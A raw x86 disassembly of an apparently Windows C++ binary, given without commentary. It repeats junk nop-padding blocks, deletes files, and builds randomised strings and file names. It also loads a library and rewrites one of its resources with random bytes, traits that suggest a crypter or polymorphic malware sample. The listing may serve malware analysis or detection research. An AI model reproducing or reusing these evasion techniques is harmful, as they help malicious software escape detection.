mov dword [ebp - 0x564], esp
push 0x462128
call fcn.00418120
push 3
mov ecx, 0x46211c
call fcn.00419700
push eax
push esi
call fcn.004080f0
add esp, 0x20
call fcn.00411730
add esp, 0x50
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x568], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x56c], esp
push 0x462128
call fcn.00418120
push 4
mov ecx, 0x4620e0
call fcn.00419700
push eax
push esi
call fcn.004080f0
add esp, 0x20
call fcn.00407e50
add esp, 0x18
movzx ecx, al
test ecx, ecx
jne 0x404e90
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x570], esp
push 0x427436
call fcn.00418290
push 1
push 1
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x574], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x578], esp
push 0x462128
call fcn.00418120
push 4
mov ecx, 0x4620e0
call fcn.00419700
push eax
push esi
call fcn.004080f0
add esp, 8
mov esi, esp
mov dword [ebp - 0x57c], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x580], esp
push 0x462128
call fcn.00418120
push 4
mov ecx, 0x46211c
call fcn.00419700
push eax
push esi
call fcn.004080f0
add esp, 0x20
call fcn.00411730
add esp, 0x50
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
push 1
lea ecx, [ebp - 0x112c]
call fcn.00417ff0
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x584], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x588], esp
push 0x462128
call fcn.00418120
push 8
mov ecx, 0x4620e0
call fcn.00419700
push eax
push esi
call fcn.004080f0
add esp, 0x20
call fcn.00407e50
add esp, 0x18
movzx eax, al
test eax, eax
jne 0x4050de
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x58c], esp
push 0x427437
call fcn.00418290
push 0
push 0
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x590], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x594], esp
push 0x462128
call fcn.00418120
push 8
mov ecx, 0x4620e0
call fcn.00419700
push eax
push esi
call fcn.004080f0
add esp, 8
mov esi, esp
mov dword [ebp - 0x598], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x59c], esp
push 0x462128
call fcn.00418120
push 8
mov ecx, 0x46211c
call fcn.00419700
push eax
push esi
call fcn.004080f0
add esp, 0x20
call fcn.00411730
add esp, 0x50
movzx ecx, al
test ecx, ecx
jne 0x4050de
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x5a0], esp
push 0x427764
call fcn.00418290
lea edx, [ebp - 0xd30]
push edx
call fcn.0040f160
add esp, 0x1c
lea ecx, [ebp - 0xd30]
call fcn.00418dc0
lea ecx, [ebp - 0x1dc]
call fcn.0041ec40
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea ecx, [ebp - 0x1c4]
call fcn.0041ec40
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov dword [ebp - 0x320], 0
lea ecx, [ebp - 0x112c]
call fcn.00419ab0
lea ecx, [ebp - 0x378]
call fcn.00418dc0
lea ecx, [ebp - 0xf80]
call fcn.00419a50
lea ecx, [ebp - 0x1c4]
call fcn.00418e00
lea ecx, [ebp - 0x1f4]
call fcn.00418dc0
lea ecx, [ebp - 0x1dc]
call fcn.00418e00
lea ecx, [ebp - 0x20c]
call fcn.00418dc0
lea ecx, [ebp - 0x29c]
call fcn.00418e00
lea ecx, [ebp - 0x2b4]
call fcn.00418e00
lea ecx, [ebp - 0x224]
call fcn.00418dc0
lea ecx, [ebp - 0x23c]
call fcn.00418dc0
lea ecx, [ebp - 0x18c]
call fcn.00418dc0
lea ecx, [ebp - 0x254]
call fcn.00418dc0
lea ecx, [ebp - 0x1ac]
call fcn.00418dc0
lea ecx, [ebp - 0x2cc]
call fcn.00418e00
lea ecx, [ebp - 0x26c]
call fcn.00418e00
lea ecx, [ebp - 0x4c]
call fcn.00418f70
lea ecx, [ebp - 0x13c]
call fcn.00418e00
mov eax, dword [ebp - 0x320]
jmp 0x407931
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x5a4], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x5a8], esp
push 0x462128
call fcn.00418120
push 9
mov ecx, 0x4620e0
call fcn.00419700
push eax
push esi
call fcn.004080f0
add esp, 0x20
call fcn.00407e50
add esp, 0x18
movzx eax, al
test eax, eax
jne 0x405303
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x5ac], esp
push 0x42743d
call fcn.00418290
push 0
push 0
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x5b0], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x5b4], esp
push 0x462128
call fcn.00418120
push 9
mov ecx, 0x4620e0
call fcn.00419700
push eax
push esi
call fcn.004080f0
add esp, 8
mov esi, esp
mov dword [ebp - 0x5b8], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x5bc], esp
push 0x462128
call fcn.00418120
push 9
mov ecx, 0x46211c
call fcn.00419700
push eax
push esi
call fcn.004080f0
add esp, 0x20
call fcn.00411730
add esp, 0x50
movzx ecx, al
test ecx, ecx
jne 0x405303
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x5c0], esp
push 0x427768
call fcn.00418290
lea edx, [ebp - 0xd48]
push edx
call fcn.0040f160
add esp, 0x1c
lea ecx, [ebp - 0xd48]
call fcn.00418dc0
lea ecx, [ebp - 0x1dc]
call fcn.0041ec40
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea ecx, [ebp - 0x1c4]
call fcn.0041ec40
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov dword [ebp - 0x324], 0
lea ecx, [ebp - 0x112c]
call fcn.00419ab0
lea ecx, [ebp - 0x378]
call fcn.00418dc0
lea ecx, [ebp - 0xf80]
call fcn.00419a50
lea ecx, [ebp - 0x1c4]
call fcn.00418e00
lea ecx, [ebp - 0x1f4]
call fcn.00418dc0
lea ecx, [ebp - 0x1dc]
call fcn.00418e00
lea ecx, [ebp - 0x20c]
call fcn.00418dc0
lea ecx, [ebp - 0x29c]
call fcn.00418e00
lea ecx, [ebp - 0x2b4]
call fcn.00418e00
lea ecx, [ebp - 0x224]
call fcn.00418dc0
lea ecx, [ebp - 0x23c]
call fcn.00418dc0
lea ecx, [ebp - 0x18c]
call fcn.00418dc0
lea ecx, [ebp - 0x254]
call fcn.00418dc0
lea ecx, [ebp - 0x1ac]
call fcn.00418dc0
lea ecx, [ebp - 0x2cc]
call fcn.00418e00
lea ecx, [ebp - 0x26c]
call fcn.00418e00
lea ecx, [ebp - 0x4c]
call fcn.00418f70
lea ecx, [ebp - 0x13c]
call fcn.00418e00
mov eax, dword [ebp - 0x324]
jmp 0x407931
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x5c4], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x5c8], esp
push 0x462128
call fcn.00418120
push 0xe
mov ecx, 0x4620e0
call fcn.00419700
push eax
push esi
call fcn.004080f0
add esp, 0x20
call fcn.00407e50
add esp, 0x18
movzx eax, al
test eax, eax
jne 0x40551a
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x5cc], esp
push 0x42743e
call fcn.00418290
push 0
push 0
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x5d0], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x5d4], esp
push 0x462128
call fcn.00418120
push 0xe
mov ecx, 0x4620e0
call fcn.00419700
push eax
push esi
call fcn.004080f0
add esp, 8
mov esi, esp
mov dword [ebp - 0x5d8], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x5dc], esp
push 0x462128
call fcn.00418120
push 0xe
mov ecx, 0x46211c
call fcn.00419700
push eax
push esi
call fcn.004080f0
add esp, 0x20
call fcn.00411730
add esp, 0x50
movzx ecx, al
test ecx, ecx
jne 0x40551a
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x5e0], esp
push 0x42776c
call fcn.00418290
lea edx, [ebp - 0xd60]
push edx
call fcn.0040f160
add esp, 0x1c
lea ecx, [ebp - 0xd60]
call fcn.00418dc0
lea ecx, [ebp - 0x1dc]
call fcn.0041ec40
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea ecx, [ebp - 0x1c4]
call fcn.0041ec40
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov dword [ebp - 0x308], 0
lea ecx, [ebp - 0x112c]
call fcn.00419ab0
lea ecx, [ebp - 0x378]
call fcn.00418dc0
lea ecx, [ebp - 0xf80]
call fcn.00419a50
lea ecx, [ebp - 0x1c4]
call fcn.00418e00
lea ecx, [ebp - 0x1f4]
call fcn.00418dc0
lea ecx, [ebp - 0x1dc]
call fcn.00418e00
lea ecx, [ebp - 0x20c]
call fcn.00418dc0
lea ecx, [ebp - 0x29c]
call fcn.00418e00
lea ecx, [ebp - 0x2b4]
call fcn.00418e00
lea ecx, [ebp - 0x224]
call fcn.00418dc0
lea ecx, [ebp - 0x23c]
call fcn.00418dc0
lea ecx, [ebp - 0x18c]
call fcn.00418dc0
lea ecx, [ebp - 0x254]
call fcn.00418dc0
lea ecx, [ebp - 0x1ac]
call fcn.00418dc0
lea ecx, [ebp - 0x2cc]
call fcn.00418e00
lea ecx, [ebp - 0x26c]
call fcn.00418e00
lea ecx, [ebp - 0x4c]
call fcn.00418f70
lea ecx, [ebp - 0x13c]
call fcn.00418e00
mov eax, dword [ebp - 0x308]
jmp 0x407931
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x5e4], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x5e8], esp
push 0x462128
call fcn.00418120
push 0xf
mov ecx, 0x4620e0
call fcn.00419700
push eax
push esi
call fcn.004080f0
add esp, 0x20
call fcn.00407e50
add esp, 0x18
movzx eax, al
test eax, eax
jne 0x40573f
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x5ec], esp
push 0x42743f
call fcn.00418290
push 0
push 0
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x5f0], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x5f4], esp
push 0x462128
call fcn.00418120
push 0xf
mov ecx, 0x4620e0
call fcn.00419700
push eax
push esi
call fcn.004080f0
add esp, 8
mov esi, esp
mov dword [ebp - 0x5f8], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x5fc], esp
push 0x462128
call fcn.00418120
push 0xf
mov ecx, 0x46211c
call fcn.00419700
push eax
push esi
call fcn.004080f0
add esp, 0x20
call fcn.00411730
add esp, 0x50
movzx ecx, al
test ecx, ecx
jne 0x40573f
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x600], esp
push 0x427770
call fcn.00418290
lea edx, [ebp - 0xd78]
push edx
call fcn.0040f160
add esp, 0x1c
lea ecx, [ebp - 0xd78]
call fcn.00418dc0
lea ecx, [ebp - 0x1dc]
call fcn.0041ec40
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea ecx, [ebp - 0x1c4]
call fcn.0041ec40
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov dword [ebp - 0x328], 0
lea ecx, [ebp - 0x112c]
call fcn.00419ab0
lea ecx, [ebp - 0x378]
call fcn.00418dc0
lea ecx, [ebp - 0xf80]
call fcn.00419a50
lea ecx, [ebp - 0x1c4]
call fcn.00418e00
lea ecx, [ebp - 0x1f4]
call fcn.00418dc0
lea ecx, [ebp - 0x1dc]
call fcn.00418e00
lea ecx, [ebp - 0x20c]
call fcn.00418dc0
lea ecx, [ebp - 0x29c]
call fcn.00418e00
lea ecx, [ebp - 0x2b4]
call fcn.00418e00
lea ecx, [ebp - 0x224]
call fcn.00418dc0
lea ecx, [ebp - 0x23c]
call fcn.00418dc0
lea ecx, [ebp - 0x18c]
call fcn.00418dc0
lea ecx, [ebp - 0x254]
call fcn.00418dc0
lea ecx, [ebp - 0x1ac]
call fcn.00418dc0
lea ecx, [ebp - 0x2cc]
call fcn.00418e00
lea ecx, [ebp - 0x26c]
call fcn.00418e00
lea ecx, [ebp - 0x4c]
call fcn.00418f70
lea ecx, [ebp - 0x13c]
call fcn.00418e00
mov eax, dword [ebp - 0x328]
jmp 0x407931
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
lea ecx, [ebp - 0x124]
call fcn.00418360
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0x8000007f
jns 0x405778
dec eax
or eax, 0xffffff80
inc eax
add eax, 0x3c
push eax
lea ecx, [ebp - 0x124]
call fcn.004221a0
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x604], esp
lea eax, [ebp - 0x1ac]
push eax
call fcn.00418120
lea ecx, [ebp - 0x254]
push ecx
lea edx, [ebp - 0x780]
push edx
call fcn.004080f0
add esp, 0x20
mov dword [ebp - 8], 0
jmp 0x4057c6
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
lea ecx, [ebp - 0x124]
call fcn.00422b10
cmp dword [ebp - 8], eax
jae 0x405a36
cmp dword [ebp - 8], 2
jne 0x4057f7
mov ecx, dword [ebp - 8]
push ecx
lea ecx, [ebp - 0x124]
call fcn.00419680
mov byte [eax], 0x4d
jmp 0x405a31
cmp dword [ebp - 8], 4
jne 0x405814
mov edx, dword [ebp - 8]
push edx
lea ecx, [ebp - 0x124]
call fcn.00419680
mov byte [eax], 0x75
jmp 0x405a31
cmp dword [ebp - 8], 6
jne 0x405831
mov eax, dword [ebp - 8]
push eax
lea ecx, [ebp - 0x124]
call fcn.00419680
mov byte [eax], 0x54
jmp 0x405a31
cmp dword [ebp - 8], 9
jne 0x40584e
mov ecx, dword [ebp - 8]
push ecx
lea ecx, [ebp - 0x124]
call fcn.00419680
mov byte [eax], 0x6f
jmp 0x405a31
cmp dword [ebp - 8], 0xc
jne 0x40586b
mov edx, dword [ebp - 8]
push edx
lea ecx, [ebp - 0x124]
call fcn.00419680
mov byte [eax], 0x6c
jmp 0x405a31
cmp dword [ebp - 8], 0xe
jne 0x405888
mov eax, dword [ebp - 8]
push eax
lea ecx, [ebp - 0x124]
call fcn.00419680
mov byte [eax], 0x2b
jmp 0x405a31
cmp dword [ebp - 8], 0x12
jne 0x4058a5
mov ecx, dword [ebp - 8]
push ecx
lea ecx, [ebp - 0x124]
call fcn.00419680
mov byte [eax], 0x6f
jmp 0x405a31
cmp dword [ebp - 8], 0x16
jne 0x4058c2
mov edx, dword [ebp - 8]
push edx
lea ecx, [ebp - 0x124]
call fcn.00419680
mov byte [eax], 0x57
jmp 0x405a31
cmp dword [ebp - 8], 0x17
jne 0x4058df
mov eax, dword [ebp - 8]
push eax
lea ecx, [ebp - 0x124]
call fcn.00419680
mov byte [eax], 0x68
jmp 0x405a31
cmp dword [ebp - 8], 0x1a
jne 0x4058fc
mov ecx, dword [ebp - 8]
push ecx
lea ecx, [ebp - 0x124]
call fcn.00419680
mov byte [eax], 0x2d
jmp 0x405a31
cmp dword [ebp - 8], 0x1b
jne 0x405919
mov edx, dword [ebp - 8]
push edx
lea ecx, [ebp - 0x124]
call fcn.00419680
mov byte [eax], 0x76
jmp 0x405a31
cmp dword [ebp - 8], 0x1d
jne 0x405936
mov eax, dword [ebp - 8]
push eax
lea ecx, [ebp - 0x124]
call fcn.00419680
mov byte [eax], 0x50
jmp 0x405a31
cmp dword [ebp - 8], 0x20
jne 0x405953
mov ecx, dword [ebp - 8]
push ecx
lea ecx, [ebp - 0x124]
call fcn.00419680
mov byte [eax], 0x65
jmp 0x405a31
cmp dword [ebp - 8], 0x21
jne 0x405970
mov edx, dword [ebp - 8]
push edx
lea ecx, [ebp - 0x124]
call fcn.00419680
mov byte [eax], 0x54
jmp 0x405a31
cmp dword [ebp - 8], 0x23
jne 0x40598d
mov eax, dword [ebp - 8]
push eax
lea ecx, [ebp - 0x124]
call fcn.00419680
mov byte [eax], 0x2d
jmp 0x405a31
cmp dword [ebp - 8], 0x26
jne 0x4059aa
mov ecx, dword [ebp - 8]
push ecx
lea ecx, [ebp - 0x124]
call fcn.00419680
mov byte [eax], 0x64
jmp 0x405a31
cmp dword [ebp - 8], 0x28
jne 0x4059c4
mov edx, dword [ebp - 8]
push edx
lea ecx, [ebp - 0x124]
call fcn.00419680
mov byte [eax], 0x73
jmp 0x405a31
cmp dword [ebp - 8], 0x29
jne 0x4059de
mov eax, dword [ebp - 8]
push eax
lea ecx, [ebp - 0x124]
call fcn.00419680
mov byte [eax], 0x6a
jmp 0x405a31
cmp dword [ebp - 8], 0x2a
jne 0x4059f8
mov ecx, dword [ebp - 8]
push ecx
lea ecx, [ebp - 0x124]
call fcn.00419680
mov byte [eax], 0x6e
jmp 0x405a31
cmp dword [ebp - 8], 0x2f
jne 0x405a12
mov edx, dword [ebp - 8]
push edx
lea ecx, [ebp - 0x124]
call fcn.00419680
mov byte [eax], 0x6f
jmp 0x405a31
push 0x7a
push 0x61
call fcn.004114c0
add esp, 8
mov ebx, eax
mov eax, dword [ebp - 8]
push eax
lea ecx, [ebp - 0x124]
call fcn.00419680
mov byte [eax], bl
jmp 0x4057bd
push 0xe
lea ecx, [ebp - 0x124]
call fcn.00419680
mov byte [eax], 0x62
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
push 0x1a
lea ecx, [ebp - 0x124]
call fcn.00419680
mov byte [eax], 0x66
push 0x23
lea ecx, [ebp - 0x124]
call fcn.00419680
mov byte [eax], 0x64
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x608], esp
lea edx, [ebp - 0x1ac]
push edx
call fcn.00418120
lea eax, [ebp - 0x124]
push eax
lea ecx, [ebp - 0xd90]
push ecx
call fcn.004080f0
add esp, 0x20
push eax
mov ecx, 0x462010
call fcn.004192d0
lea ecx, [ebp - 0xd90]
call fcn.00418dc0
lea ecx, [ebp - 0x768]
call fcn.00418580
push 1
lea ecx, [ebp - 0x12bc]
call fcn.00417ff0
lea ecx, [ebp - 0x3f0]
call fcn.00418580
lea ecx, [ebp - 0x360]
call fcn.00418360
movzx edx, byte [0x461d91]
test edx, edx
jne 0x4075d7
movzx eax, byte [0x461d92]
test eax, eax
jne 0x4075d7
mov dword [ebp - 0xd0], 0
jmp 0x405b2c
mov ecx, dword [ebp - 0xd0]
add ecx, 1
mov dword [ebp - 0xd0], ecx
lea ecx, [ebp - 0x780]
call fcn.00422b10
cmp dword [ebp - 0xd0], eax
jae 0x405b7d
push 0x416ed0
mov edx, dword [ebp - 0xd0]
push edx
lea ecx, [ebp - 0x780]
call fcn.00419680
movsx eax, byte [eax]
push eax
push 0x41fa90
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base_____cdecl___class_std::ios_base___]
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___int_]
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
jmp 0x405b1d
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
push 0x10
lea ecx, [ebp - 0x360]
call fcn.004221a0
mov dword [ebp - 0xdc], 0
jmp 0x405bb3
mov ecx, dword [ebp - 0xdc]
add ecx, 1
mov dword [ebp - 0xdc], ecx
lea ecx, [ebp - 0x360]
call fcn.00422b10
cmp dword [ebp - 0xdc], eax
jae 0x405bea
push 0x7a
push 0x61
call fcn.004114c0
add esp, 8
mov ebx, eax
mov edx, dword [ebp - 0xdc]
push edx
lea ecx, [ebp - 0x360]
call fcn.00419680
mov byte [eax], bl
jmp 0x405ba4
push str..2x2
lea ecx, [ebp - 0x360]
call fcn.004199b0
lea ecx, [ebp - 0x360]
call fcn.00422b10
sub eax, 1
push eax
lea ecx, [ebp - 0x360]
call fcn.00419680
mov byte [eax], 0x65
lea ecx, [ebp - 0x360]
call fcn.00422b10
sub eax, 3
push eax
lea ecx, [ebp - 0x360]
call fcn.00419680
mov byte [eax], 0x65
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
lea ecx, [ebp - 0x13e]
call fcn.004178f0
push eax
lea eax, [ebp - 0x60c]
push eax
lea ecx, [ebp - 0x360]
call fcn.0041f400
mov ecx, dword [eax]
push ecx
lea edx, [ebp - 0x610]
push edx
lea ecx, [ebp - 0x360]
call fcn.0041eb20
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0xda8]
call fcn.00414c50
push eax
lea ecx, [ebp - 0x768]
call fcn.00419450
lea ecx, [ebp - 0xda8]
call fcn.00418e00
lea ecx, [ebp - 0x330]
push ecx
call fcn.00408a00
add esp, 4
mov dword [ebp - 0x32c], eax
movzx edx, byte [0x461d90]
test edx, edx
je 0x405d0e
lea eax, [ebp - 0x768]
push eax
push 0x4277ac
push 0x4620ec
lea ecx, [ebp - 0xdd8]
push ecx
call fcn.00415730
add esp, 0xc
push eax
lea edx, [ebp - 0xdc0]
push edx
call fcn.00415650
add esp, 0xc
push eax
lea ecx, [ebp - 0x3f0]
call fcn.00419450
lea ecx, [ebp - 0xdc0]
call fcn.00418e00
lea ecx, [ebp - 0xdd8]
call fcn.00418e00
jmp 0x405d20
lea eax, [ebp - 0x768]
push eax
lea ecx, [ebp - 0x3f0]
call fcn.00419540
push 0x40
push 0x32
lea ecx, [ebp - 0x3f0]
push ecx
lea ecx, [ebp - 0x12bc]
call fcn.00420610
mov edx, dword [ebp - 0x12bc]
mov eax, dword [edx + 4]
lea ecx, [ebp + eax - 0x12bc]
call dword [sym.imp.MSVCP140.dll_public:_bool___thiscall_std::ios_base::operator_bool_void_const]
movzx ecx, al
test ecx, ecx
je 0x40647d
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov edx, dword [ebp - 0x32c]
xor eax, eax
push eax
push edx
mov ecx, dword [ebp - 0x330]
push ecx
lea ecx, [ebp - 0x12bc]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const___long_long___int64__]
lea ecx, [ebp - 0x12bc]
call fcn.0041eeb0
lea ecx, [ebp - 0x3f0]
call fcn.0041ec40
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [ebp - 0x1c], eax
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
cmp dword [ebp - 0x1c], 0
jne 0x405dbb
jmp 0x406097
mov dword [ebp - 0x2c], 1
jmp 0x405dcd
mov edx, dword [ebp - 0x2c]
add edx, 1
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x2c]
push eax
lea ecx, [ebp - 0xdf0]
push ecx
call fcn.00422e70
add esp, 8
push eax
push 0x4277b0
lea edx, [ebp - 0x450]
push edx
call fcn.004157e0
add esp, 0xc
lea ecx, [ebp - 0xdf0]
call fcn.00418e00
push 3
lea ecx, [ebp - 0x450]
call fcn.0041ec40
push eax
mov eax, dword [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 0
jne 0x405e53
cmp dword [ebp - 0x2c], 0x6e
jne 0x405e41
mov ecx, dword [ebp - 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea ecx, [ebp - 0x450]
call fcn.00418e00
jmp 0x406097
lea ecx, [ebp - 0x450]
call fcn.00418e00
jmp 0x405dc4
cmp dword [ebp - 0x2c], 0x6e
jne 0x405e83
mov edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
lea ecx, [ebp - 0x450]
call fcn.00418e00
jmp 0x406097
lea ecx, [ebp - 0x450]
call fcn.00418e00
jmp 0x405ea0
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov eax, dword [ebp - 0x50]
push eax
mov ecx, dword [ebp - 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 0
jne 0x405eda
mov edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x406097
mov eax, dword [ebp - 0xb8]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jne 0x405f05
mov ecx, dword [ebp - 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x406097
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov edx, dword [ebp - 0x50]
push edx
mov eax, dword [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 0x58], eax
mov ecx, dword [ebp - 0x58]
push ecx
call fcn.00423a52
add esp, 4
mov dword [ebp - 0x2d0], eax
mov edx, dword [ebp - 0x2d0]
mov dword [ebp - 0xb4], edx
mov eax, dword [ebp - 0x58]
push eax
mov ecx, dword [ebp - 0xbc]
push ecx
mov edx, dword [ebp - 0xb4]
push edx
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov eax, dword [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push 0
lea ecx, [ebp - 0x3f0]
call fcn.0041ec40
push eax
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceW]
mov dword [ebp - 0x68], eax
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
cmp dword [ebp - 0x68], 0
jne 0x405fbf
mov ecx, dword [ebp - 0xb4]
mov dword [ebp - 0x2d4], ecx
mov edx, dword [ebp - 0x2d4]
push edx
call fcn.00423a5b
add esp, 4
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
jmp 0x406097
mov dword [ebp - 0xe0], 0x2c
jmp 0x405fda
mov eax, dword [ebp - 0xe0]
add eax, 1
mov dword [ebp - 0xe0], eax
mov ecx, dword [ebp - 0xe0]
cmp ecx, dword [ebp - 0x58]
jae 0x406011
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
mov ecx, 0xff
idiv ecx
mov eax, dword [ebp - 0xb4]
add eax, dword [ebp - 0xe0]
mov byte [eax], dl
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
jmp 0x405fcb
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov ecx, dword [ebp - 0x58]
push ecx
mov edx, dword [ebp - 0xb4]
push edx
push 0x409
push 1
push 3
mov eax, dword [ebp - 0x68]
push eax
call dword [sym.imp.KERNEL32.dll_UpdateResourceW]
mov dword [ebp - 0x168], eax
mov ecx, dword [ebp - 0xb4]
mov dword [ebp - 0x2d8], ecx
mov edx, dword [ebp - 0x2d8]
push edx
call fcn.00423a5b
add esp, 4
cmp dword [ebp - 0x168], 0
jne 0x406069
jmp 0x406097
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
push 0
mov eax, dword [ebp - 0x68]
push eax
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceW]
test eax, eax
jne 0x406089
jmp 0x406097
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
lea ecx, [ebp - 0x182c]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jne 0x4060c0
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
jmp 0x40647d
mov dword [ebp - 0x2c], 1
jmp 0x4060d2
mov edx, dword [ebp - 0x2c]
add edx, 1
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x2c]
push eax
